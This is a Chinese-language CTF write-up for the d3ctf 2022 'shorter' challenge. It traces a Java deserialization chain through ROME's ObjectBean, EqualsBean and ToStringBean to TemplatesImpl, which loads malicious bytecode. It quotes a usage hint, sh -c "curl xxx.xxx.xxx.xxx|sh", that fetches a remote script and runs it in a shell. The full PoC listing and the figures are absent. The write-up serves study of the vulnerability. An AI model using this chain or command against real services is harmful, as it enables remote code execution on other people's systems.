这种反序化主要针对CommonsBeanutils的类型(如rome链等带有ToStringBean.java和TemplatesImpl.java文件的java反序列化),个人猜测大部分讲解几乎都来源于p神的这篇文章:https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
这里以d3ctf的题目和题解为例(其实几乎和p神发布的poc没什么很大的差别)
下载地址:https://github.com/la0t0ng/d3ctf2022-shorter
poc主程序为:
1 | package org.example; |
下面将一步步解释:(图片在文字下面,建议分两个框,一个看图片,一个看介绍)
1.(图1红框)从main开始,接收了一个args传参,看提示 sh -c "curl xxx.xxx.xxx.xxx|sh"
说明可以直接传shell,追resolveTemplatesPayload方法
2.(图2绿框)resolveTemplatesPayload方法中把传入的args内容(command)和a.class这个文件名(这里可以System.out.println(path);看看内容),传入saveTemplateImpl(),追!
3.(图3蓝框)程序把我们传入的内容拼接成一个java的class。这里的ProcessBuilder类似于exec,是命令执行(可以随便传个参“clac”,然后System.out.println(code);看看内容)。
4.(图4黄框)回到刚刚的resolveTemplatesPayload方法,编译文件并用byte流的方式读取,然后删除文件,返回byte流(shell以java类的byte流的形式回到了main中)
5.(图5橙框)首先是可以通过System.out.println(new String(templatesbytes));
的方式看一看刚才生成的byte流。追rome函数,开始反序列化。
在我的理解里,反序列化我们只有:改参数,或者说是为已有的参数赋值,以及调用(我们动不了方法(函数)的结构,也不可能增删类与方法)
所以用橙框括起来的那几个都是用来赋值的,包括new类时的传参,根据构造函数也会造成赋值,所以我们可以记一下,以后追链子的时候回来查就行:
TemplatesImpl类:
_bytecodes=我们传入的比特流加一层数组(new byte[][]{templatesbytes})
_name=a
ObjectBean类:
_equalsBean=EqualsBean类
构造函数:
1 | public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) { |
main:```ObjectBean objectBean = new ObjectBean(String.class,"a");```
结果:
\_equalsBean=String.class
\_toStringBean="a"
EqualsBean类:
构造函数:
1 | public EqualsBean(Class beanClass, Object obj) { |
main:```EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);```
结果:
\_beanClass=ToStringBean.class
\_obj=toStringBean
ToStringBean类:
构造函数:
1 | public ToStringBean(Class beanClass, Object obj) { |
main:```ToStringBean toStringBean = new ToStringBean(Templates.class, templates);```
结果:
\_beanClass=Templates.class
\_obj=templates
所以结果为(后续将以“由上可知”带过赋值过程):
TemplatesImpl类:
_bytecodes=我们传入的比特流加一层数组(new byte[][]{templatesbytes})
_name=a
ObjectBean类:
_equalsBean=EqualsBean类
_equalsBean=String.class
_toStringBean=”a”
EqualsBean类:
_beanClass=ToStringBean.class
_obj=toStringBean
ToStringBean类:
_beanClass=Templates.class
_obj=templates
这里可以用
1 | byte[][] a=new byte[][]{templatesbytes}; |
来验证一下_bytecodes[0]就是我们的恶意byte流
6.整个利用链:
HashMap–>ObjectBean–>EqualsBean–>ToStringBean–>TemplatesImpl
7.(图六绿框)
main的rome方法:
evilMap.put(objectBean,null);–>put(K key, V value)(HashMap.java) (其中key为传入参数)
HashMap.java的put方法
hash(key)–>hash(Object key)(HashMap.java)
HashMap.java的hash方法
hashCode()–>hashCode()(ObjectBean.class)
(原因:main:evilMap.put(objectBean,null);
)
由上可知_equalsBean=”a”
所以这里的this._equalsBean.beanHashCode();
等同于this.a.beanHashCode();
a.class就是我们的恶意代码,这里先需要实例化,即先需要运行.beanHashCode()
然后才会运行.a
(所以这里相当于分成两个链子:实例化和运行,这里先走实例化,等会还会回来
ObjectBean.class的hashCode方法
beanHashCode()–>beanHashCode()(EqualsBean.java)
(原因:main:erializeUtil.setFieldValue(objectBean,"_equalsBean",equalsBean);
)
EqualsBean.java的beanHashCode方法
toString()–>toString()(ToStringBean.class)
(原因:main:EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
)
ToStringBean.class的toString(无参)方法
toString()–>toString(prefix)(ToStringBean.class)
由上可知_obj=templates
所以className = this._obj.getClass().getName();
的值为TemplatesImpl,也就是传参prefix的值
main中的代码
1 | //templates.getClass().getName(); |
就是为了验证这个结果
ToStringBean.class的toString(有参)方法:
printProperty(sb, prefix + “.” + pName, value)–>printProperty(StringBuffer sb, String prefix, Object value)(ToStringBean.class)
由上可知_beanClass=Templates.class
这里显示逐渐把prefix的参数传给sb,然后退回toString(String prefix)方法,这里会运行TemplatesImpl的所有get方法,当然也就包括getOutputProperties()方法
(保留)
然后直接追到TemplatesImpl的getOutputProperties()方法:
getOutputProperties()–>newTransformer()–>getTransletInstance()(由上可知,这里的_name已经被赋值为a,所以不会提前return)–>defineTransletClasses()
defineTransletClasses()方法:_bytecodes一开始被我们定义成恶意类的比特流,这里进行了实例化
然后这条线走完了
接着回到hashCode()–>hashCode()(ObjectBean.class)那一步:
“.a”直接运行代码a.class的内容,实现shell

图一

图二

图三

图四

图五

图六

图七

图八

图九

图十

图十一

图十二

图十三

图十四

图十五

图十六

图十七
参考:
https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
https://blog.csdn.net/rfrder/article/details/120007644
https://blog.csdn.net/weixin_34066347/article/details/89827676
https://blog.csdn.net/rfrder/article/details/119990475?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164802921516780366514525%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=164802921516780366514525&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-13-119990475.nonecase&utm_term=TemplatesImpl&spm=1018.2226.3001.4450
https://blog.csdn.net/rfrder/article/details/121236409?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164802835116780271950552%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=164802835116780271950552&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-121236409.nonecase&utm_term=rome&spm=1018.2226.3001.4450
https://github.com/la0t0ng/d3ctf2022-shorter